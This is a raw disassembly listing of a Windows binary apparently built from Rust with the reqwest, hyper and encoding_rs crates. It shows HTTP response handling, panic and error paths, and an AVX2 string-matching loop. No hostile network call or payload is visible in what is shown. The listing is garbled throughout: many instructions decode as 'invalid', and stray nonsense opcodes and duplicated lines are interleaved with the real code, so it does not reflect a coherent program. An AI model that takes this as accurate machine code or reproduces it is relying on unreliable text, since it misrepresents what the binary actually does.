lea r8, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
mov edx, 0x13
call fcn.14003efaf
lea rax, str.PN1_
lea rcx, [rsp + 0x7c0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str.xN1_
call fcn.14003f140
xor ecx, ecx
mov edx, edi
call fcn.140165711
lea rcx, [rsp + 0x180]
call fcn.140121abf
mov rax, qword [rsp + 0x4e0]
mov rcx, qword [rsp + 0x4e8]
call qword [rax + 0x18]
call fcn.140121a88
lea rcx, str.internal_error:_entered_unreachable_code_rustc_90b35a6239c3d8bdabc530a6a0816f7ff89a0aaflibrary_std_src_threadmod.rs
lea r8, str.std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.14003fe40
jmp case.0x14001302c.2
call sub.kernel32.dll_GetLastError
mov esi, eax
shl rsi, 0x20
cmp qword [rsp + 0xcb0], 0
je 0x1400181bd
mov rcx, qword [rsp + 0xcb8]
mov edx, 2
call fcn.140019a50
or rsi, 2
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x140018204
lea rdi, [rsi - 1]
mov rbx, qword [rsi - 1]
mov r14, qword [rsi + 7]
mov rax, qword [r14]
test rax, rax
je 0x1400181e4
mov rcx, rbx
call rax
cmp qword [r14 + 8], 0
je 0x1400181f7
mov rdx, qword [r14 + 0x10]
mov rcx, rbx
call fcn.140019a50
mov edx, 8
mov rcx, rdi
call fcn.140019a50
lea rcx, str.src_main.rs
call fcn.140042de0
mov rax, qword [rsp + 0x4e0]
lea r8, [rsp + 0x7c0]
mov qword [r8], rax
lea rax, str.src_main.rs
jmp 0x140018091
lea rcx, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_impl_response.rs
call fcn.1400460e0
lea r8, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
mov rcx, r13
jmp 0x140018257
lea r8, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
jmp 0x140018257
lea r8, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
mov rdx, r14
call fcn.14003efaf
lea r8, [rsp + 0x180]
mov qword [r8], rax
lea rax, str.src_main.rs
jmp 0x140018091
lea rcx, str.src_main.rs
call fcn.140042de0
lea rcx, str.src_main.rs
call fcn.140042de0
lea rcx, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_impl_response.rs
call fcn.1400460e0
mov rax, qword [rsp + 0x4e0]
lea r8, [rsp + 0x7c0]
mov qword [r8], rax
lea rax, str.src_main.rs
jmp 0x140018091
lea r8, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
jmp 0x140018109
lea rcx, str.src_main.rs
call fcn.140042de0
mov rsi, qword [rsp + 0x7c8]
mov rbx, qword [rsp + 0x7d0]
lea rcx, [rsp + 0x10c0]
call fcn.140005938
jmp 0x1400183ba
mov rsi, qword [rsp + 0x7c8]
mov rbx, qword [rsp + 0x7d0]
mov rcx, r14
mov rdx, rdi
call fcn.140173443
jmp 0x1400183ba
lea rcx, str.src_main.rs
call fcn.140042de0
lea r8, [rsp + 0x180]
mov qword [r8], rdx
lea rax, str.src_main.rs
jmp 0x140018091
mov rax, qword [rsp + 0x190]
lea r8, [rsp + 0x4e0]
mov qword [r8 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x180]
movdqa xmmword [r8], xmm0
lea rax, str.src_main.rs
jmp 0x1400183d4
lea r8, [rsp + 0x180]
mov qword [r8], rdi
lea rax, str.src_main.rs
jmp 0x140018091
lea r8, [rsp + 0x4e0]
mov qword [r8], rax
lea rax, str.src_main.rs
jmp 0x140018091
lea r8, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
mov edx, 0x13
call fcn.14003f980
mov rsi, rax
mov rcx, qword [rsp + 0xf68]
mov rdx, qword [rsp + 0xf70]
call fcn.140173443
xor ebp, ebp
lea r8, [rsp + 0x7c0]
mov qword [r8], rbp
mov qword [r8 + 8], rsi
mov qword [r8 + 0x10], rbx
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
cmp dh, dl
invalid
add byte [rbp + rcx*4 + 0xd], cl
xor dword [rsi + 0x22], esp
add cl, ch
invalid
cld
invalid
invalid
lea rcx, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
call fcn.140042de0
lea rcx, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.31_src_body_to_bytes.rs
call fcn.1400460e0
lea rcx, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
call fcn.140042de0
mov rax, qword [rsp + 0x190]
lea r8, [rsp + 0x7c0]
mov qword [r8 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x180]
movdqa xmmword [r8], xmm0
lea rax, str.src_main.rs
jmp 0x1400183d4
lea r8, [rsp + 0x7c0]
mov qword [r8], rax
lea rax, str.src_main.rs
jmp 0x140018091
lea r8, [rsp + 0x180]
mov qword [r8], rdx
lea rax, str.src_main.rs
jmp 0x140018091
lea r8, [rsp + 0x180]
mov qword [r8], rsi
lea rax, str.src_main.rs
jmp 0x140018091
lea rcx, str.src_main.rs
call fcn.140042de0
movdqu xmm0, xmmword [rsp + 0x4e0]
movups xmm1, xmmword [rsp + 0x4f0]
lea r8, [rsp + 0x7c0]
movaps xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, [0x14023ff08]
jmp 0x14001850e
movdqu xmm0, xmmword [rsp + 0x4e0]
movups xmm1, xmmword [rsp + 0x4f0]
lea r8, [rsp + 0x7c0]
movaps xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, [0x14023ff28]
jmp 0x14001850e
movdqu xmm0, xmmword [rsp + 0x4e0]
movups xmm1, xmmword [rsp + 0x4f0]
lea r8, [rsp + 0x7c0]
movaps xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, [0x140240388]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14023e978]
jmp 0x1400180a4
lea rcx, str.src_main.rs
call fcn.140042de0
lea rax, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rssize_overflows_MAX_SIZE
mov qword [rsp + 0x20], rax
lea rcx, [0x1403082aa]
lea r9, [0x140307f30]
lea r8, [rsp + 0x4e0]
mov edx, 0x17
call fcn.140041b70
lea rcx, [rsp + 0xfa0]
call fcn.140121359
lea rcx, [rsp + 0xc10]
call fcn.14010ef9b
mov rcx, rsi
call fcn.140114ca6
mov rsi, rax
lea rcx, [rsp + 0xbf8]
call fcn.140121abf
jmp 0x14001859f
lea rcx, [rsp + 0xf30]
call fcn.14012162b
lea rcx, [rsp + 0xc98]
call fcn.140121655
lea r8, [rsp + 0x7c0]
mov qword [r8], rsi
lea rax, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14030b8be]
lea r9, fcn.1400dba17
mov edx, 0xd
call fcn.140041b70
mov rax, qword [rsp + 0x4e8]
lea r8, [rsp + 0x7c0]
mov qword [r8], rax
lea rax, str.src_main.rs
jmp 0x14001866c
lea r8, [rsp + 0x7c0]
mov qword [r8], r13
lea rax, str.src_main.rs
jmp 0x14001866c
lea r8, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
mov edx, 0xe4
mov rcx, rsi
mov ecx, esi
call fcn.14003efaf
lea rax, str.std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, rbx
mov r8, rax
call fcn.14003f980
ud2
mov rax, qword [rsp + 0x4e8]
lea r8, [rsp + 0x7c0]
mov qword [r8], rax
lea rax, str.src_main.rs
jmp 0x14001866c
mov rax, qword [rsp + 0x7c8]
lea r8, [rsp + 0x4e0]
mov qword [r8], rax
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14023e938]
jmp 0x1400180a4
lea rcx, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
call fcn.140042de0
jmp 0x140018720
lea r8, [rsp + 0x7c0]
mov qword [r8], rbx
lea rax, str.src_main.rs
jmp 0x140018091
mov rax, qword [rsp + 0x190]
lea r8, [rsp + 0x4e0]
mov qword [r8 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x180]
movdqa xmmword [r8], xmm0
lea rax, str.src_main.rs
jmp 0x1400183d4
mov rax, qword [rsp + 0xcc0]
lea r8, [rsp + 0x7c0]
mov qword [r8 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0xcb0]
movdqa xmmword [r8], xmm0
lea rax, str.src_main.rs
jmp 0x1400183d4
mov rax, qword [rsp + 0x438]
mov qword [rsp + 0x788], rax
mov rdx, qword [rsp + 0x440]
mov rcx, qword [rsp + 0x788]
call fcn.14003be1d
lea rax, [0x1402a05c0]
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov rdx, rdi
xor r8d, r8d
mov r9, rbx
call fcn.140044550
lea rax, [0x1402a0660]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, qword [rsp + 0x60]
xor r8d, r8d
call fcn.140044550
mov rsi, rax
cmp qword [r12 + 8], 0
je 0x140018791
mov rdx, qword [r12 + 0x10]
mov rcx, r15
jmp 0x14001878c
call fcn.140019a50
mov edx, 8
mov rcx, rdi
jmp 0x1400187b8
call fcn.140019a50
mov rcx, rsi
call fcn.140174600
int3
xor esi, esi
mov rdi, qword [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.14001be96
test rsi, rsi
je 0x14002d7a8
movups xmm0, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0x68]
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movaps xmm2, xmmword [rsp + 0xd0]
movups xmmword [rdi + 0x20], xmm2
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov qword [rdi + 0x30], r14
mov qword [rdi + 0x38], rsi
movaps xmm0, xmmword [rsp + 0xe0]
movups xmmword [rdi + 0x40], xmm0
mov qword [rdi + 0x50], rax
mov qword [rdi + 0x58], rax
add rsp, 0x148
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movabs rax, 0x8000000000000000
mov qword [rdi], rax
lea rcx, [rsp + 0xb0]
call fcn.14001c3ad
lea rcx, [rsp + 0xa8]
call fcn.14001be96
jmp 0x14002d74c
je 0x14002d883
cmp qword [r14 + 0x20], 0x10
ja case.default.0x14002d89e
jmp case.0x14002d89e.1
dec r15
cmp r15, 3
ja case.default.0x14002d89e
lea rax, [0x14023917c]
movsxd rcx, dword [rax + r15*4]
add rcx, rax
jmp rcx
test sil, sil
je 0x14002d8d5
call fcn.14002130a
test dil, 1
je 0x14002d99e
invalid
test al, al
mov rdi, qword [rsp + 0x30]
je 0x14002da71
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x38]
call fcn.14002e2cc
add cl, ch
add dword [rax], r8d
invalid
cmp al, ch
cld
or dword [rax], eax
add cl, ch
add dword [rax], r8d
add al, ch
test eax, 0x84000002
ror byte [rdi], 0x84
invalid
call fcn.14002db83
test al, al
je case.default.0x14002d89e
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x38]
call fcn.14002db8d
jmp 0x14002da14
test sil, sil
je 0x14002d9bc
call fcn.14002130a
test dil, 1
inc dword [rax - 0xa]
mov dword [rcx], 0x115840f
je 0x14002da23
je 0x14002da23
test al, al
mov rdi, qword [rsp + 0x30]
je 0x14002da71
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x38]
call fcn.14002f7d3
jmp 0x14002da19
test sil, sil
je 0x14002d9da
call fcn.14002130a
test dil, 1
je 0x14002da3d
inc dword [rax - 0xa]
mov dword [rcx], 0xf6840f
add byte [rax], al
test al, al
mov rdi, qword [rsp + 0x30]
je 0x14002da71
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x38]
call fcn.1400301e9
jmp 0x14002da19
test sil, sil
je 0x14002d9f8
call fcn.14002130a
test dil, 1
je 0x14002da57
test al, al
mov rdi, qword [rsp + 0x30]
je 0x14002da71
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x38]
call fcn.14002ed5f
jmp 0x14002da19
test al, al
mov rdi, qword [rsp + 0x30]
je 0x14002da71
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x38]
call fcn.14002de15
jmp 0x14002da19
call fcn.14002db83
test al, al
je case.default.0x14002d89e
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x38]
call fcn.14002f0b2
jmp 0x14002da14
call fcn.14002db83
test al, al
je case.default.0x14002d89e
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x38]
call fcn.14002fac2
jmp 0x14002da14
call fcn.14002db83
test al, al
je case.default.0x14002d89e
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x38]
call fcn.14002e5bf
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x50]
jmp 0x14002d6e8
test al, al
mov rdi, qword [rsp + 0x30]
je 0x14002da71
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x38]
call fcn.14002f322
jmp 0x14002da19
test al, al
mov rdi, qword [rsp + 0x30]
je 0x14002da71
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x38]
call fcn.14002fd2c
jmp 0x14002da19
test al, al
mov rdi, qword [rsp + 0x30]
je 0x14002da71
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x38]
call fcn.14002e82f
jmp 0x14002da19
xor esi, esi
jmp 0x14002d6e8
cmp r8, rcx
ja 0x140030efb
vbroadcasti128 ymm9, xmmword [r8]
vpsrlw ymm10, ymm9, 4
vpand ymm15, ymm9, ymm8
vpshufb ymm9, ymm7, ymm15
vpand ymm0, ymm10, ymm8
vpshufb ymm10, ymm6, ymm0
vpand ymm9, ymm10, ymm9
vpshufb ymm10, ymm4, ymm15
vpshufb ymm11, ymm5, ymm0
vpand ymm10, ymm11, ymm10
vpshufb ymm11, ymm2, ymm15
vpshufb ymm1, ymm3, ymm0
vpand ymm11, ymm11, ymm1
vmovdqu ymm1, ymmword [rsp + 0x30]
vpshufb ymm1, ymm1, ymm15
vmovdqu ymm15, ymmword [rsp + 0x60]
vpshufb ymm0, ymm15, ymm0
vpand ymm0, ymm1, ymm0
vpalignr ymm1, ymm9, ymm14, 0xd
vpalignr ymm13, ymm10, ymm13, 0xe
vpand ymm1, ymm13, ymm1
vpand ymm13, ymm1, ymm0
vpalignr ymm12, ymm11, ymm12, 0xf
vptest ymm13, ymm12
je 0x140030ede
vpand ymm0, ymm13, ymm12
mov qword [rsp + 0x20], r8
and byte [rcx - 0x73], cl
push rax
std
vextracti128 xmm1, ymm0, 1
vpunpcklbw xmm13, xmm0, xmm1
vpunpckhbw xmm12, xmm0, xmm1
vmovq rbp, xmm13
test rbp, rbp
je 0x140030b84
test byte [rcx + rax], cl
add byte [rax], al
bsf r10, rbp
mov ecx, r10d
shr ecx, 4
add rcx, rdx
mov eax, r10d
and eax, 0xf
imul rax, rax, 0x18
mov r8, qword [rsp + 0x18]
mov rdi, qword [r8 + rax + 8]
mov rax, qword [r8 + rax + 0x10]
lea r14, [rdi + rax*4]
mov r9, qword [rsp + 8]
sub r9, rcx
cmp rdi, r14
je 0x140030b7b
enter 0, 0
mov r11d, dword [rdi]
add rdi, 4
mov rax, qword [rbx + 0x18]
imul r8, r11, 0x18
sbb byte [rsi - 0x75], cl
add byte fs:[rax], dl
cmp r12, r9
ja 0x140030aaa
invalid
mov r8, qword [rax + r8 + 8]
cmp r12, 4
jae case.default.0x140030ae5
lea rsi, [0x140239190]
movsxd rax, dword [rsi + r12*4]
add rax, rsi
jmp rax
mov al, byte [rcx]
cmp al, byte [r8]
jne 0x140030aaa
jmp 0x140031400
lea rax, [r12 - 4]
lea r13, [rcx + r12]
add r13, 0xfffffffffffffffc
cld
cld
mov rsi, r8
mov rbx, rcx
cmp rbx, r13
jae 0x140030b1d
mov r15d, dword [rbx]
cmp r15d, dword [rsi]
jne 0x140030b35
add rbx, 4
add rsi, 4
jmp 0x140030b06
mov esi, dword [r13]
cmp esi, dword [r8 + rax]
mov rbx, qword [rsp + 0x10]
jne 0x140030aaa
jmp case.0x14003125e.0
mov rbx, qword [rsp + 0x10]
jmp 0x140030aaa
movzx eax, word [rcx]
cmp ax, word [r8]
jne 0x140030aaa
jmp 0x140031408
movzx eax, word [rcx]
movzx esi, byte [rcx + 2]
shl esi, 0x10
or esi, eax
movzx eax, word [r8]
movzx r8d, byte [r8 + 2]
shl r8d, 0x10
or r8d, eax
or eax, eax
cmp esi, r8d
jne 0x140030aaa
jmp 0x140031410
btr rbp, r10
jmp 0x140030a6f
mov r8, qword [rsp + 0x20]
lea r13, [r8 + 1]
vpextrq rbp, xmm13, 1
test rbp, rbp
je 0x140030ca4
bsf r10, rbp
mov ecx, r10d
shr ecx, 4
add rcx, r13
mov eax, r10d
and eax, 0xf
imul rax, rax, 0x18
mov rdx, qword [rsp + 0x18]
mov rdi, qword [rdx + rax + 8]
add cl, byte [rax]
add cl, byte [rax]
mov rax, qword [rdx + rax + 0x10]
lea r14, [rdi + rax*4]
mov r9, qword [rsp + 8]
sub r9, rcx
leave
cmp rdi, r14
je 0x140030c96
mov r11d, dword [rdi]
add rdi, 4
mov rax, qword [rbx + 0x18]
imul rdx, r11, 0x18
mov r12, qword [rax + rdx + 0x10]
adc byte [rax], dl
cmp r12, r9
ja 0x140030bce
mov rsi, qword [rax + rdx + 8]
cmp r12, 4
jae case.default.0x140030c09
lea rdx, [0x1402391a0]
movsxd rax, dword [rdx + r12*4]
add rax, rdx
jmp rax
mov al, byte [rcx]
cmp al, byte [rsi]
jne 0x140030bce
add dword [rdx], edi
invalid
jmp 0x140031400
lea rax, [r12 - 4]
lea r8, [rcx + r12]
add al, 0x21
add al, 0x21
add r8, 0xfffffffffffffffc
mov rdx, rsi
mov rbx, rcx
cmp rbx, r8
jae 0x140030c40
mov r15d, dword [rbx]
cmp r15d, dword [rdx]
jne 0x140030c52
add rbx, 4
add rdx, 4
jmp 0x140030c29
mov edx, dword [r8]
cmp edx, dword [rsi + rax]
mov rbx, qword [rsp + 0x10]
jne 0x140030bce
jmp case.0x14003125e.0
mov rbx, qword [rsp + 0x10]
jmp 0x140030bce
movzx eax, word [rcx]
cmp ax, word [rsi]
jne 0x140030bce
jmp 0x140031408
movzx eax, word [rcx]
movzx edx, byte [rcx + 2]
shl edx, 0x10
loop 0x140030c87
or edx, eax
movzx eax, word [rsi]
movzx r8d, byte [rsi + 2]
shl r8d, 0x10
or r8d, eax
cmp edx, r8d
jne 0x140030bce
jmp 0x140031410
btr rbp, r10
mov r8, qword [rsp + 0x20]
jmp 0x140030b93
lea r13, [r8 + 5]
vmovq rbp, xmm12
test rbp, rbp
je 0x140030dbe
bsf r10, rbp
mov ecx, r10d
shr ecx, 4
add rcx, r13
mov eax, r10d
invalid
rol byte [rbx + 0x6b480fe0], 1
rcr byte [rax], 0x48
mov edx, dword [rsp + 0x18]
and eax, 0xf
imul rax, rax, 0x18
mov rdx, qword [rsp + 0x18]
mov rdi, qword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
lea r14, [rdi + rax*4]
mov r9, qword [rsp + 8]
and al, 8
sub r9, rcx
cmp rdi, r14
je 0x140030db0
mov r11d, dword [rdi]
add rdi, 4
mov rax, qword [rbx + 0x18]
imul rdx, r11, 0x18
mov r12, qword [rax + rdx + 0x10]
cmp r12, r9
ja 0x140030ce8
mov rsi, qword [rax + rdx + 8]
cmp r12, 4
jae case.default.0x140030d23
lea rdx, [0x1402391b0]
lea edx, [0x1402391b0]
movsxd rax, dword [rdx + r12*4]
add rax, rdx
jmp rax
mov al, byte [rcx]
cmp al, byte [rsi]
jne 0x140030ce8
jmp 0x140031400
lea rax, [r12 - 4]
lea r8, [rcx + r12]
add r8, 0xfffffffffffffffc
mov rdx, rsi
mov rbx, rcx
cmp rbx, r8
jae 0x140030d5a
mov r15d, dword [rbx]
cmp r15d, dword [rdx]
jne 0x140030d6c
add rbx, 4
add rdx, 4
jmp 0x140030d43
mov edx, dword [r8]
cmp edx, dword [rsi + rax]
mov rbx, qword [rsp + 0x10]
jne 0x140030ce8
jmp case.0x14003125e.0
mov rbx, qword [rsp + 0x10]
jmp 0x140030ce8
movzx eax, word [rcx]
cmp ax, word [rsi]
jne 0x140030ce8
jmp 0x140031408
movzx eax, word [rcx]
movzx edx, byte [rcx + 2]
shl edx, 0x10
or edx, eax
movzx eax, word [rsi]
movzx r8d, byte [rsi + 2]
shl r8d, 0x10
or r8d, eax
rol byte [rcx + rdi - 0x3e], 0xf
invalid
invalid
invalid
invalid
invalid
jmp 0x140031410
btr rbp, r10
mov r8, qword [rsp + 0x20]
jmp 0x140030cad
lea r13, [r8 + 9]
vpextrq rbp, xmm12, 1
test rbp, rbp
mov rax, qword [rsp + 0x28]
je 0x140030ede
invalid
add byte [rdi + rcx - 0x44], cl
invalid
bsf r10, rbp
mov ecx, r10d
shr ecx, 4
add rcx, r13
mov eax, r10d
and eax, 0xf
loopne 0x140030df8
imul rax, rax, 0x18
mov rdx, qword [rsp + 0x18]
mov rdi, qword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
lea r14, [rdi + rax*4]
mov r9, qword [rsp + 8]
and al, 8
sub r9, rcx
cmp rdi, r14
je 0x140030ed0
mov r11d, dword [rdi]
add rdi, 4
mov rax, qword [rbx + 0x18]
imul rdx, r11, 0x18
mov r12, qword [rax + rdx + 0x10]
cmp r12, r9
cmp esp, ecx
cmp esp, ecx
ja 0x140030e08
mov rsi, qword [rax + rdx + 8]
cmp r12, 4
jae case.default.0x140030e43
lea rdx, [0x1402391c0]
adc eax, 0x208384
movsxd rax, dword [rdx + r12*4]
add rax, rdx
jmp rax
mov al, byte [rcx]
cmp al, byte [rsi]
jne 0x140030e08
jmp 0x140031400
lea rax, [r12 - 4]
lea r8, [rcx + r12]
add r8, 0xfffffffffffffffc
mov rdx, rsi
mov rbx, rcx
cmp rbx, r8
jae 0x140030e7a
mov r15d, dword [rbx]
cmp r15d, dword [rdx]
jne 0x140030e8c
add rbx, 4
add rdx, 4
jmp 0x140030e63
mov edx, dword [r8]
cmp edx, dword [rsi + rax]
mov rbx, qword [rsp + 0x10]
jne 0x140030e08
jmp case.0x14003125e.0
mov rbx, qword [rsp + 0x10]
jmp 0x140030e08
movzx eax, word [rcx]
cmp ax, word [rsi]
jne 0x140030e08
jmp 0x140031408
movzx eax, word [rcx]
movzx edx, byte [rcx + 2]
shl edx, 0x10
or edx, eax
movzx eax, word [rsi]
movzx r8d, byte [rsi + 2]
shl r8d, 0x10
or r8d, eax
cmp edx, r8d
jne 0x140030e08
jmp 0x140031410
btr rbp, r10
mov r8, qword [rsp + 0x20]
jmp 0x140030dc8
add r8, 0x10
vmovdqa ymm12, ymm11
vmovdqa ymm13, ymm10
vmovdqa ymm14, ymm9
mov rcx, qword [rsp + 0x58]
jmp 0x1400309c5
cmp r8, qword [rsp + 8]
jae 0x1400310ae
vbroadcasti128 ymm0, xmmword [rcx]
vpsrlw ymm1, ymm0, 4
vpand ymm0, ymm8, ymm0
vpshufb ymm7, ymm7, ymm0
vpand ymm1, ymm8, ymm1
vpshufb ymm6, ymm6, ymm1
vpand ymm6, ymm6, ymm7
vpshufb ymm4, ymm4, ymm0
vpshufb ymm5, ymm5, ymm1
vpand ymm4, ymm5, ymm4
vpshufb ymm2, ymm2, ymm0
vpshufb ymm3, ymm3, ymm1
vpand ymm2, ymm3, ymm2
vmovdqu ymm3, ymmword [rsp + 0x30]
vpshufb ymm0, ymm3, ymm0
vmovdqu ymm3, ymmword [rsp + 0x60]
vpshufb ymm1, ymm3, ymm1
vpand ymm0, ymm0, ymm1
std
fcmovnb st(0), st(1)
vpcmpeqd ymm1, ymm1, ymm1
vpalignr ymm3, ymm6, ymm1, 0xd
vpalignr ymm4, ymm4, ymm1, 0xe
vpand ymm3, ymm4, ymm3
vpand ymm0, ymm3, ymm0
vpalignr ymm1, ymm2, ymm1, 0xf
jrcxz 0x140030fe4
bswap ecx
pinsrw mm4, edx, 0x7d
invalid
ror dword [rdi], 0x84
sub dword [rcx], eax
add byte [rax], al
vpand ymm0, ymm0, ymm1
mov rax, qword [rsp + 8]
add rax, 0xffffffffffffffed
mov qword [rsp + 0x30], rax
vextracti128 xmm2, ymm0, 1
ret 0xc501
stc
invalid
retf 0xf9c5
push 0xfffffffff9c1c4c2
jle 0x140030f73
leave
leave
lea rdi, [0x1402391d0]
test r9, r9
je 0x1400310b6
add byte [rax], al
invalid
bsf r10, r9
mov ecx, r10d
shr ecx, 4
add rcx, qword [rsp + 0x30]
xor byte [rcx + rcx*4 - 0x30], al
and eax, 0xf
imul rax, rax, 0x18
mov rdx, qword [rsp + 0x18]
mov r14, qword [rdx + rax + 8]
mov rax, qword [rdx + rax + 0x10]
lea rbx, [r14 + rax*4]
mov r13, qword [rsp + 8]
sub r13, rcx
cmp r14, rbx
je 0x1400310a5
mov r11d, dword [r14]
add r14, 4
mov byte [rax + rcx*2], 0x8b
and al, 0x10
mov byte [rax + rcx*2], 0x8b
and al, 0x10
mov rax, qword [rax + 0x18]
imul rdx, r11, 0x18
mov r12, qword [rax + rdx + 0x10]
cmp r12, r13
ja 0x140030fee
mov rsi, qword [rax + rdx + 8]
cmp r12, 4
jae case.default.0x140031027
movsxd rax, dword [rdi + r12*4]
add rax, rdi
jmp rax
mov al, byte [rcx]
cmp al, byte [rsi]
jne 0x140030fee
jmp 0x140031400
lea rax, [r12 - 4]
lea rbp, [rcx + r12]
add rbp, 0xfffffffffffffffc
mov rdx, rsi
mov r15, rcx
cmp r15, rbp
jae 0x14003105e
mov r8d, dword [r15]
cmp r8d, dword [rdx]
jne 0x140030fee
add r15, 4
add rdx, 4
jmp 0x140031047
mov edx, dword [rbp]
cmp edx, dword [rsi + rax]
jne 0x140030fee
jmp case.0x14003125e.0
movzx eax, word [rcx]
cmp ax, word [rsi]
jne 0x140030fee
jmp 0x140031408
movzx eax, word [rcx]
movzx edx, byte [rcx + 2]
shl edx, 0x10
adc byte [rcx], cl
ret 0xb70f
invalid
movzx r8d, byte [rsi + 2]
shl r8d, 0x10
or r8d, eax
cmp edx, r8d
jne 0x140030fee
jmp 0x140031410
btr r9, r10
jmp 0x140030fb1
invalid
invalid
invalid
xor r8d, r8d
jmp 0x140031430
mov rax, qword [rsp + 8]
and al, 8
add rax, 0xfffffffffffffff1
mov qword [rsp + 0x30], rax
vpextrq r9, xmm1, 1
invalid
leave
add dword [rax - 0x73], ecx
cmp eax, 0x20810f
test r9, r9
je case.0x14000e46f.55
add byte [rax], al
bsf r10, r9
mov ecx, r10d
shr ecx, 4
add rcx, qword [rsp + 0x30]
mov eax, r10d
and eax, 0xf
imul rax, rax, 0x18
mov rdx, qword [rsp + 0x18]
mov r14, qword [rdx + rax + 8]
add cl, byte [rax]
add cl, byte [rax]
mov rax, qword [rdx + rax + 0x10]
lea rbx, [r14 + rax*4]
mov r13, qword [rsp + 8]
sub r13, rcx
sub ebp, ecx
sub ebp, ecx
cmp r14, rbx
je 0x1400311c5
mov r11d, dword [r14]
add r14, 4
mov rax, qword [rsp + 0x10]
mov rax, qword [rax + 0x18]
imul rdx, r11, 0x18
mov r12, qword [rax + rdx + 0x10]
cmp r12, r13
ja 0x14003110e
mov rsi, qword [rax + rdx + 8]
cmp r12, 4
jae case.default.0x140031147
movsxd rax, dword [rdi + r12*4]
add rax, rdi
jmp rax
mov al, byte [rcx]
cmp al, byte [rsi]
jne 0x14003110e
jmp 0x140031400
lea rax, [r12 - 4]
lea rbp, [rcx + r12]
add rbp, 0xfffffffffffffffc
mov rdx, rsi
mov r15, rcx
cmp r15, rbp
jae 0x14003117e
mov r8d, dword [r15]
cmp r8d, dword [rdx]
cmp eax, dword [rdx]
jne 0x14003110e
add r15, 4
add rdx, 4
jmp 0x140031167
mov edx, dword [rbp]
cmp edx, dword [rsi + rax]
jne 0x14003110e
jmp case.0x14003125e.0
movzx eax, word [rcx]
cmp ax, word [rsi]
jne 0x14003110e
jmp 0x140031408
movzx eax, word [rcx]
movzx edx, byte [rcx + 2]
shl edx, 0x10
or edx, eax
movzx eax, word [rsi]
movzx r8d, byte [rsi + 2]
shl r8d, 0x10
loopne 0x1400311c4
or r8d, eax
cmp edx, r8d
jne 0x14003110e
jmp 0x140031410
btr r9, r10
jmp 0x1400310d1
mov rax, qword [rsp + 8]
add rax, 0xfffffffffffffff5
mov qword [rsp + 0x30], rax
vmovq r9, xmm0
jle 0x1400311a2
lea rdi, [0x1402391f0]
test r9, r9
je 0x1400312e5
